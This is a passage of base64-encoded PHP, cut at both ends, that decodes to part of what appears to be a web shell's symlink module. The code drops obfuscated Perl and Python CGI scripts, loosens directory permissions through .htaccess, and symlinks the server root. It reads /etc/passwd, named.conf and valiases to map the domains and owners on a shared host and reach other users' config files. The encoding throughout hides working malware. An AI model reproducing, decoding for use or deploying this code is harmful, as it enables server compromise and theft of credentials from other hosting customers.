+fCBTeW1saW5rKCBwZXJsICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1weVwnKSI+fCBTeW1saW5rKCBweXRob24gKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxudWxsLG51bGwsXCdTeW1GaWxlXCcpIj58IEZpbGUgU3ltbGluayB8IDwvYT48L2gzPjwvY2VudGVyPic7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pJiYoJF9QT1NUWydhbGZhMiddPT0nc3ltcGVybCd8fCRfUE9TVFsiYWxmYTIiXT09InN5bXB5IikpeyAgCSRzeW1wYXRoID0gYWxmYU1ha2VQd2QoKTsgIAlAbWtkaXIoJ2NnaWFsZmEnLDA3NTUpOyAgCUBjaGRpcignY2dpYWxmYScpOyAgCWFsZmFjZ2lodGFjY2VzcygnY2dpJyk7ICAJJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO2V2YWwoQ29tcHJlc3M6OlpsaWI6Om1lbUd1bnppcChkZWNvZGVfYmFzZTY0KCJINHNJQUFBQUFBQUEvNTBZQzFQYVNQaXZiRk91U1ZySmcycTFCRkRPYXMrWnR0NVUyNXNiOFpoTmRvSFVrT1N5QzBLUi92Yjc5cEVZRlczbk1tUFl6WDd2OXpwakZFVlp5amhPT1RvNUd4NitQMEhkSHFLTG1IR0dHa2VmdnE3TTkvM3pvNy82Znc5UFBwMGZmVDd1SHg2WjYyQzZSSTE1eTBkZFpCaHFFNnAxUEVLV29tT2pWVjdFUU5ZNHpGSk9VOTdreTV5MkVhY0w3azc0TkJta2c3UWpGcjNPaEdMUzYvQ1lKN1IzbUJGS1VMaEUvUS9IZlhSTyt4ODdyanJwTUw2RUg3d1NKSnFFUmxtQmVaeWw3VFJMYWJEdXVPcTg0eXB5WVVhV0tCeEhXWklWWGZPNUp4K3pad1JLTExORDRqbVNLRjBqeDRURTZianRlL2tpQ0thNEdNZHBNOHc0ejZicVc1Z1ZoQlp0UDE4Z2d0a0VKSHcra2s4ZzZiZGhKOGdIVWpTY3hPTzBIWUhPdEFoR29IM3ptc2JqQ1crSFdVTFVCeFovcCszV0c2QnMzR3JNc29RaWhnbDZnZUowSHJNNGhQMFBkTGFjSm5GNmhYNWZvajlwa1hSY0VMeG5CbXVhTUxyU2JtajBQNy8vZXVGZEJ0b1QwVGpHeVFpN1JyQm1zeERJRFhGUjRDVmFnYk1zd1BHMkduUGZzd0gwWUNnYytOdmNIOEZtaW5PMGFneEZEUGhyZENBQWc0THlXWkVpU3dVRklQdWpsVUJlMi9hKzMvWVVnL3lhbExUZmFLcnh5SHFtUTJHbGFRaGhnelVjQUJTaS95S0R4QVdOdUZFQkdPNGttMUozTldPMFdMdjVMRXppYUNoaVJDZ0NlRTBLSUpSSGJvcW5sRGdRdWlNRHZYaUJta1IvbjRQdE1hUE0vVVdhQnl4UFlnNEN5MS9MSGJqdWxvcDc0OTNwNFplUFI1L09oNTlQVDgrTnRhM2lmQmRnOHl4SENqR29MVFc3YjFtY1dvWnJiT252dGdNU2FPWUdjb0NDc3RnVVgxRmVsRWJiQnE1ektsNytubmp2YUNQcUZPb0FwQXBWODJHRW1aQTZFTzhpcmxBWjdjZndlRDVFT3pEY2RveU9LMDRoTlFRZ0p4dG9KWFRFQlNXTUpnVWRkVTNEQWFtb2ROTEZ2bmd1RGJTUHpHOTRqbGxVeERsdjQ0UVczREt1b1lLSTZqR0tVNEpJTnNWeDZqaU9ZWnR0WkU0NHo5dXVhNElRMUhZTUUzSElMTXE3NWpCTWNIcGwzaFBhOC9xdGxxZUVwaldoY1NYNEJpMlBqeFdDdi9kQXpibzJrQmVPSVZLQ3FXeHl4VHFIZEhMNGdvdmpIY2R3ZnlZZzJGVFdFSjJSRHdSMGVkSFRHVWV5SVhDNm54TXloUHpYSW9hdWlmd3VQaDNNL1IzNFpPbE5WRnUvcnRhTk9ZRzFyMG5BMGxQTHQ3ZEw3M2JwSzRoYXFzbU1nYXhReDRLSC9oUmtPWVgwSnA1d0hkdEM1cjBFTTIyVUZSVk9tV0JHb0tYdWFNUmVFQ1VadEJPOVZhd0JSL0N1a0VyMlFtanpic0thVWc0b0NFZzFsOWFXQWxTOGQ2WHVtbVZCUmJrdUpOU2RjOFZ6OXk2WE9TNlVOazl6OEgvQ3dTODVQQk1iZTZXY0FPVU1IcWpFbTRyYVJzUE80NExQY09LcVZNbXVVMXF3eXNSM2hIamFzcjdXY3EvbTlKcFpOWmNuZGQ3VDNLS05HdS9kbW5TdjFFWGE4ZkVRSVZJV1JiQWpqMHZaNWFacVdaNjJuTjYrMWR0S3NTcCtCVmNyeDR4ZFYxelY3aEdMcWNOZUlGd0J3YXEyUm5CTFdkZFRYUVRRVVZGa2hTaFhXclNxM0dMUmVsWFQ3NXErV1JiTUVFZFg0eUticGFTcCs3NGFLL1RJMFBZUW52Rk1WbVE5MC96UHV2M3lRU25iV0NuZnlTQmlUd09YVmZJTDlLQ2ZnbTR1Y0dWeGc1ZldTMHhYVU9zYUMybi9VUWJ4RTAxa2tBRWlSWmJ3aUwyS29QWG1PampGWENJUDlSN1hwa2VmbE9QamczcWxNdzZDUWhMdS9rQlQxM201L3gxbVBtUllzTElOdEhLRGtvR3ZQV25WT2RvQ2pia09DVjEzWEFWYUtQa0FpeFJjYzJjc1VielJ6UTBxdjlRcVdCM1owVURsMXFtb0tiVmtGTjRiVEVTdkNnTTF6QWdRR2U3Q0dOQjQ4dXRaVEN3TDVuRnV5VFA3WXZ2UzFpb3B3bXF0dWdhOUhWemFZbTZSdWdhYUhQeFFOUkVxUTRpdGY2bE0vRll5Rlh0bG1YOEc3TlVOL0RXRWZlcjR2c1FYZERZRGhqVkdkUXZxekN1dFJTOWFsNmlEZGp5dnRJL0dyWVlMMWU1MmE1UFlXczFpMEM2bFNxVGt0SE1KblZwWWNWZElWem9UYjNTbWlKRktGT3VXeW1zZEVYb3VFL2dpTUNRV0VRUGxQVDJVbDcyeXNXekw0bFFQZWloNUVQTFJuWWh2MVFJYzErS2JhS3RFandXemNFNUxCYk9sVUJ1K0ZuamczQXlhdFNEMkt0aDVWQUdESFBlaEpYQUxnR1hER1NaUXpMc0kzbU0ra2RhelVWUE5GdFhJQVJnd3h6QmV5UE10NUlFdkttUmJHS2M2Zm5BcUZTenZITllBYUVwSFlnZjBxQkpFenI5V1l5R09WRnZDOGszQTNZdFhyd0p0WnovSVoyeGkxV2lBSHFMcjZzS3dEVTY1SlZYRjB3YUNPblVlRXcwQ2NyTndmcmlCMkFPaEFCczRsQTNFVlFVU2ZrVW5FVVBoZW5vRi9kV3F6NkFncExlN3M2UEhPMS9HeTNOMUc0UzczcG00RFo3SjIrQkplUnNjcEtlNXVQSXkrRVRvZ2pKMG5DVkpkZzMxK2dNUVpJUDBuUncrc21JcEFlU1ZVdU02T1Z4NkJtbWZrSE80aUt0N2VKNUErMEQ1SkJkLzIwaEFKQWhlU0YzUUFmWVBuQklZOUg4QlhFZjZTTTJUc0FCdjlFREZPMU8zTStFNGlpaGo1VFVjd25lMGx0cnJTVUZRME5EcUd2WDQxQzZEOUZsMUo5dzBXVUhhcTBuY0todUtMcWJsMTNKWWt5bFNYbGNyTDJvbnl2OVNnQS8vQTNRcjV2Y3ZFUUFBIikpKTsnOyAgCSRweSA9ICcjIS91c3IvYmluL3B5dGhvbicuIlxuaW1wb3J0IHpsaWIsIGJhc2U2NFxuIi4nZXZhbChjb21waWxlKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKCJlSnlkV0cxdjJ6WVEvbXovQ2xaRlpudHhKRHZZOXNGeFBHUnBzaFhvMm1ITk1BeUpJZEFpYld1UlJZR2tZM3RGOTl0M3h4ZEp0cFcwbUQ1WUZIbnZ2SHQ0dEphN1VidVZyZ29oTlVrV3FaNjFXK1lWOHB6T010N3R0ZmsyNFlVR3FvSXExVzQ3V3AydXVCOEw1VWRxVnc1bHVWeHNXTHU5eU1TTVpqR015U1VKQXYrOWxwbjlmdnN4dnY3NUxZeHZhYVk0cUptRFdERGlLWlVpRDVkVXhZOTgxdzErdnJxNytmUHFyL2p0Kzd1YjMyK3ZybStDSGxoV010L0pOVzl6RUFDVGV4ckJzSkRLeGRQOWNGcXVPTjNnTHMzbU5BcmFiY2JuWk1FMThuUUxvVkEwMk9HbE85dGdzaVc1WHN1Y1ZDb01JYkFnVmNCU3lSTWRFQ0ZKRjV3b3FGNkdxWnFuRU00ZzRqcUpjcnJpTEV4RVBnOTZoT2FNVkZUQTY0aWVhSlpTeFZVVTlIbzFuVUcwRkNzZWZWb3JMajlIeFhxV3BVbTgxS3NNSEdnQk41aFFpOXg5OE9iRDlSKy8zcnkvaTMvLzhPRXVtSWFxeUZJTktvSWU3S2poQmdia0N3dFJ3SGEzNm1PdjgwUjVoU2NxSUNjRStjTy9SWnAza2JyWEoxWlN6NFp3UlIrNWx0MUVySFBkSjB5c2FKcjNDZkwzU2JKaDZNMVM2d0tEais5UkZBV25DaGdzWmMvRTBvNU5PTzkveEdjYVlCQWNYK2R2K2tSVklsTklUSnB4Q1E1dE9FbG9yc2s4aFhoYTdqQU1nMTRIM0pRcExBUmpMWW5TdTR4ZmRqVGY2ak9JN3lJZkpUelhYRjUwSm1QTkp1TzVBTXBFWkVKZWRsN2Z3ak1ZZGliV091Tk83elFZUjBnMEdVZElyMW1EeUl6UE5RcWtaQ241L0xKaitkRjBZTzhRRFluSTlXVW5ubVUwZit3Y0tCME1yczdQQjE2cEMwbE5LeTAxTjFoN2Urc1pNZHJIeGg3YVZGVUMwR0lWcU4wcVMvUEhDTWZGem4yRmVxdGRER0QzVG9Qb1N6NUEyT0RwVEQ1YS9pUGJJeTBua0swbVdaaUluUnBmY3F1ZEs5cDZLUUlzMFR5V25MTFlWSTh2OWxhcVlzaDB2YVpaT2ZWRVpVbGs0YVJsNHlnMk9UY0Y0bWE1bEZDajVhZm51UWVNQUlPNGNtTTJRemVUeHl4VjJrM1ZxdDF3bWVUY004WEpQRGJiTDJnRHZhMVNreWg0M29BUElUSWJHaXpJbGtWamNtTmVxY2lOQ0MrcWtxVkNOTFlSVEpDd1VVb2xwbGtPaE5WYVptVzA5dUpzSS8rczZETFVsbzVueDNBNWVqa21MckpSZlNlUG9uTzR6ODZxbDRQbVhUZ09tbFA1VXN3YTk3d2V5bEw2VjIzdnMvRjdObzBPSWd0eE5SUElkcERlTFJOd0V1QTV2bUhCUmV2bGdEdXlyMHJBNTIxdzJPdEtuTnpnUE9JeTVvQTlTMHQweG42RHpJUmtIREJrMlBIQU9vUEtXMGdBWDNabThHWDBlbUNlaXhWZ1VKcVBCb1N1dFRBQXZnUkxKLzhiNXI4OUFzdEdZSDVqVWt5OVRPekIrQStBNFMrU05vT2xCMHI0Y1g3TkJOc2hicmEyRU9vaHZPY1FkTndaQWllbDJhRnlMNEVBWHlHQWRscll6S0tNU2E2VVc4RVpVeWFZRWZldjhKbWk2QlpBZkt6NXFyQnRHV1o0RTlTWjZWcjkxM29qZUJTbk1sbUNCQWtXbUhHM0UzNzc0ejhDREF1Nk1Pb0Y1Rk9uYnd4eFdBTGlMS1VUVVRQWHpvZVlBMFYzNk9oNXBhMEZsYVRUM09OUHRWQ0pjQ05JNVFLQUhOcXdrTTJDUGpob3BXRnJobzZnei90d2Fkc2R4Kzc5UHVqcFBIZlBxYTFxdjR3d25HSWhuR2JGWnAweWJBbVZwcnJpZzg4WUZucGhzVEh4ZEI0MkE4R3ozdGJucTJsR05TMlR3YlorSStjMWVBSUdkSkdpUjhia3ZFRk82UUFTM1ErbTdmMndtdG5oMUV1cmc2OFR0c2Mvbk5iejhValFZSCs1bG5jT2lrWmxxZ0JpR0x2dno2ZG8rdmVEUVdOMGFocktMdEl1bEoydmJUWjhhRDVIL215cmw4R0p6d09yOC91cDczZkJJMGRlSzVSWGh3YlhSRGx0WlJyYXBob3kwY1RKeW5LaURnQWZid2tINGNEN1JYWDhqRndtNTJ6L2VEQWdZWkliUU1MSXFoMU1RSWl2L1czSll3eGJXZjhOMXZoZzUvSFhWcnJKYzhjRjRqeWpGMVRwOUNzSDVlNjRERkdxeUh1UVgvSWU3RG1teDBGVTZ2TEwrcEtWU2h4VW0zSVc5QU56N0htc01OKzFmSTZoYkxDbW9IanN2cEV6QThmd0hQYUpIakdRN0g0d0t0bW51SkhXZ3IxcGJ5K2IyY1NEdkR1eFN2ck96bG9VZ1FqMnRGUlpCbVEvSGkxM0hkdDZDUzdiekYzTUpLWVh1U1dubDk2UktwUEt6cTdtWFVnTGFCUllsODNLV3ZYMCt5ZEJwYnNzd09mVVY5cHI2TlVRQmxmVHBXSWJoWHFQM2dSa2xTR08veGt6YWpHb2k5eDMyTGNza1QyUzRZMjlDeHpOY0tjQmkySlRKWEZzaWpXT0VSVGpHTUdnOW5kQ3JmTzVCanVoT3puVHU0S1BDUFlzRWQ3bkgvS0hmSXlEeWRpZC82a0dKZGNDd3p6YmthdDN0MWZramwvOUN1ck55dGgwUFJQNnliUTlqQ2RDVW5OdzVGQXRGNS9Ia1YwZlIxWWNtazVtaTZxOXNXMUlVQnJXR2JQMHliVlNnRG1NcGZsaU5Cd1Uyd3ZYZXAzTmhOWmlaZWRzNHpZYUZsdEFjN1VFRzEvUHpYUGh1cmI1M0hSdHh6MFo5anRuRzU0dWxubzBFeG16RXlyOWg0L09md0RKUWVXekV0QWlLc3JJTjdEblQ2bEtzV1g4bDdqV2lmeTBJNy90OUZMazR3aE1uOERWMzUzRmVPVHVGT3h5TjVBcmNpYm5wSGJaTmJVTkZKZ2krSGRHdDFOYjdMakZaSW4zZ29NVkw5bGVYNE1JVzRyam03T2hXMnFhSk80b2VtMzlBV3Mvb2o4ZmpUOXZ2VDhQK1FkejNpdVlZbndMYmZtdHlES3hBU2ZmZ1VqMWtMOHhGeVloZDRiQUJNWHhoZ1VrekVOK3hkZ2RKSlBOSlVBeHFJOWlXUkJNSnZ6QmorOUlZWk1NYUgrQnd5V0RZL3JMNUpnY3EvS2FFSHFuQUNBM3B5YU1xM0FqVTgyN2ZzWE9KWmxRK0ZkaXU2bDlldWw2dHc4bnRiOEtndW9peXB1VzNaMFMxZy9icUQ3ZVRlcjNEcHVGVUQwRnpmM0Z3YWFzNUF3dURDZlF2K01hRkk0anhWWUFoUHdISjRac2RBPT0iKSksXCc8c3RyaW5nPlwnLFwnZXhlY1wnKSknOyAgCSRjZ2luYW1lID0gInN5bXBlcmwuYWxmYSI7ICAJJHNvdXJjZSA9ICRwZXJsOyAgCSRsYW5nID0gInBlcmwiOyAgCWlmKCRfUE9TVFsiYWxmYTIiXT09InN5bXB5Iil7ICAgJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOyAgICRzb3VyY2UgPSAkcHk7ICAgJGxhbmcgPSAicHl0aG9uIjsgIAl9ICAJQF9fd3JpdGVfZmlsZSgkY2dpbmFtZSwkc291cmNlKTsgIAlAY2htb2QoJGNnaW5hbWUsMDc1NSk7ICAJZWNobyBfX3ByZSgpOyAgCSRyZXNvdXJjZSA9IGFsZmFFeCgieyRsYW5nfSB7JGNnaW5hbWV9IHskc3ltcGF0aH0iLGZhbHNlLHRydWUsdHJ1ZSk7ICAJaWYoc3RybGVuKCRyZXNvdXJjZSkgPT0gMCl7ICAgZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsgIAl9ZWxzZXsgICBlY2hvICRyZXNvdXJjZTsgIAl9ICB9ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmICRfUE9TVFsnYWxmYTQnXT09J1N5bUZpbGUnKXsgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpfHxfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsgIGVjaG8gX19wcmUoKS4nCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9IkV4YW1wbGUgOiAvaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZy5waHAiIHNpemU9IjYwIi8+PGJyIC8+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IGFsZmEudHh0IiBzaXplPSI2MCIvPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0ic3ltbGluayIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7ICAkcGF0aCA9ICRfUE9TVFsnYWxmYTUnXTsgICRzeW1uYW1lID0gJF9QT1NUWydhbGZhNiddOyAgJHNvbGV2aXNpYmxlNTggPSAkX1BPU1RbJ2FsZmE3J107ICBpZigkc29sZXZpc2libGU1OCl7ICAkbmV3X25hbWUgPSBzdHJfcmVwbGFjZSgiLiIsICJfIiwgYmFzZW5hbWUoJHN5bW5hbWUpKTsgICRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsgICRzeW1fZGlyID0gJ2FsZmFzeW1saW5rcGhwLycuJHJhbmRfZGlyLicvJzsgIEBta2Rpcigkc3ltX2RpciwgMDc3NywgdHJ1ZSk7ICBhbGZhY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7ICBfYWxmYV9zeW1saW5rKCIkcGF0aCIsIiRzeW1fZGlyLyRzeW1uYW1lIik7ICBlY2hvIF9fcHJlKCk7ICBlY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRzeW1fZGlyLiciID48Yj48Zm9udCBzaXplPSI0Ij4nLiRzeW1uYW1lLic8L2ZvbnQ+PC9iPjwvYT48L2I+PC9jZW50ZXI+JzsgIH0gIH1lbHNle2VjaG8gIjxjZW50ZXI+PHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gU3ltbGluayBGdW5jdGlvbiBEaXNhYmxlZCAhPC9iPjwvZm9udD48L3ByZT48L2NlbnRlcj4iO30gIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0nc3ltcGhwJyl7ICAkY2FudF9zeW1saW5rID0gdHJ1ZTsgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpfHxfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSkpeyAgQG1rZGlyKCdhbGZhc3ltbGluaycsMDc3Nyk7ICBhbGZhY2dpaHRhY2Nlc3MoJ3N5bScsJ2FsZmFzeW1saW5rLycpOyAgX2FsZmFfc3ltbGluaygnLycsJ2FsZmFzeW1saW5rL3Jvb3QnKTsgICR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOyAgaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvbmFtZWQuY29uZiIpICYmICFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpICYmIF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZhbGlhc2VzLyIpKXsgIGVjaG8gIjxjZW50ZXI+IjsgICRsaW5lcyA9IGFycmF5KCk7ICAkYW5vbnlfZG9tYWlucyA9IGFycmF5KCk7ICAkYW5vbnltb3VzX3VzZXJzID0gYXJyYXkoKTsgICRmX2JsYWNrID0gYXJyYXkoKTsgICRlcnJvciA9IGZhbHNlOyAgJGFub255bW91cyA9IGZhbHNlOyAgJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7ICAkZG9tYWlucyA9IGFsZmFHZXREb21haW5zKCk7ICAkbGluZXMgPSAkZG9tYWluc1sibGluZXMiXTsgICRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOyAgJGlzX3Bvc2l4ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik7ICAkY2FuX3J1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKGZhbHNlLGZhbHNlKTsgIGlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsgIAkkYW5vbnltb3VzID0gdHJ1ZTsgIAkkYW5vbnlfZG9tYWlucyA9ICRkb21haW5zWyJsaW5lcyJdOyAgCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7ICB9ICBlY2hvICR0YWJsZV9oZWFkZXI7ICAkY291bnQ9MTsgICR0ZW1wbGF0ZSA9ICc8dHI+PHRkPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRjAxOyI+e2NvdW50fTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IntodHRwfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57ZG9tYWlufTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPntvd25lcn08L2ZvbnQ+PC9iPjwvdGQ+PHRkPjxhIGhyZWY9ImFsZmFzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOyAgZm9yZWFjaCgkbGluZXMgYXMgJGxpbmUpeyAgCSRkb21haW4gPSAiIjsgIAkkb3duZXIgPSAiIjsgIAlpZigkYW5vbnltb3VzKXsgICAkZXhwbG9kZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7ICAgJG93bmVyID0gJGV4cGxvZGVbMF07ICAgJG93bmVyX2xlbiA9IHN0cmxlbigkb3duZXIpIC0gMTsgICAkdXNlcmlkID0gJGV4cGxvZGVbMl07ICAgaWYoKGludCkkdXNlcmlkIDwgNTAwKWNvbnRpbnVlOyAgICRkb21haW4gPSAiWz8/Pz8/XSI7ICAgJHRlbXBfYmxhY2sgPSBhcnJheSgpOyAgICRmaW5kZWQgPSBmYWxzZTsgICBmb3JlYWNoKCRhbm9ueV9kb21haW5zIGFzICRhbm9ueSl7ICAgaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7ICAgaWYoQHN0cnN0cigkYW5vbnksICd6b25lJykpeyAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkYW5vbnksICRkYXRhKTsgICAkZG9tYWluID0gJGRhdGFbMV1bMF07ICAgfWVsc2V7ICAgY29udGludWU7ICAgfSAgIH1lbHNlaWYoJHN0YXRlID09ICJuYW1lZCIgfHwgJHN0YXRlID09ICJ2YWxpYXNlcyIpeyAgIGlmKCRhbm9ueSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7ICAgaWYoJHN0YXRlID09ICJuYW1lZCIpJGFub255ID0gcnRyaW0oJGFub255LCAiLmRiIik7ICAgJGRvbWFpbiA9ICRhbm9ueTsgICB9ICAgJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOyAgIGlmKHN1YnN0cigkb3duZXIsIDAsICRvd25lcl9sZW4pID09IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwgJG93bmVyX2xlbikpeyAgIGlmKGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7ICAgJHN5bXBhdGggPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJG93bmVyLCAkbWFrZXB3ZCk7ICAgJGh0dHAgPSAiaHR0cDovLyIuJGRvbWFpbjsgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsgICAkY291bnQrKzsgICAkdGVtcF9ibGFja1tdID0gJG93bmVyLiRkb21haW47ICAgJGZpbmRlZCA9IHRydWU7ICAgfSAgIH0gICBpZighJGZpbmRlZCl7ICAgJGFub255bW91c191c2Vyc1tdID0gJG93bmVyOyAgIH0gIAl9ZWxzZXsgICAgaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7ICAgaWYoQHN0cnN0cigkbGluZSwgJ3pvbmUnKSl7ICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRsaW5lLCAkZGF0YSk7ICAgJGRvbWFpbiA9ICRkYXRhWzFdWzBdOyAgIH1lbHNleyAgIGNvbnRpbnVlOyAgIH0gICB9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsgICBpZigkbGluZSA9PSAiLiIgfHwgJGxpbmUgPT0gIi4uIiljb250aW51ZTsgICBpZigkc3RhdGUgPT0gIm5hbWVkIikkbGluZSA9IHJ0cmltKCRsaW5lLCAiLmRiIik7ICAgJGRvbWFpbiA9ICRsaW5lOyAgIH0gICBpZihzdHJsZW4odHJpbSgkZG9tYWluKSkgPiAyICYmICRzdGF0ZSAhPSAicGFzc3dkIil7ICAgaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbiwgZmFsc2UpKWNvbnRpbnVlOyAgIGlmKCRpc19wb3NpeCl7ICAgJHVzZXIgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkb21haW4pKTsgICAkb3duZXIgPSAkdXNlclsibmFtZSJdOyAgIH1lbHNlaWYoJGNhbl9ydW5jbWQpeyAgICRvd25lciA9IGFsZmFFeCgic3RhdCAtYyAnJVUnIC9ldGMvdmFsaWFzZXMvIi4kZG9tYWluLGZhbHNlLGZhbHNlKTsgICB9ICAgfSAgCX0gIAlpZighJGFub255bW91cyl7ICAgaWYoc3RybGVuKCRvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsgICAkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsgICAkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOyAgIGlmKCRzdGF0ZSA9PSAicGFzc3dkIil7ICAgJGh0dHAgPSAiamF2YXNjcmlwdDphbGVydCgnd2UgY2FudCBmaW5kIGRvbWFpbi4uLicpIjsgICB9ICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgJGRvbWFpbiwgJG93bmVyLCAkc3ltcGF0aCksICR0ZW1wbGF0ZSk7ICAgJGNvdW50Kys7ICAgJGZfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOyAgCX0gIH0gIGlmKCRhbm9ueW1vdXMpeyAgCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpeyAgICRzeW1wYXRoID0gc3RyX3Jl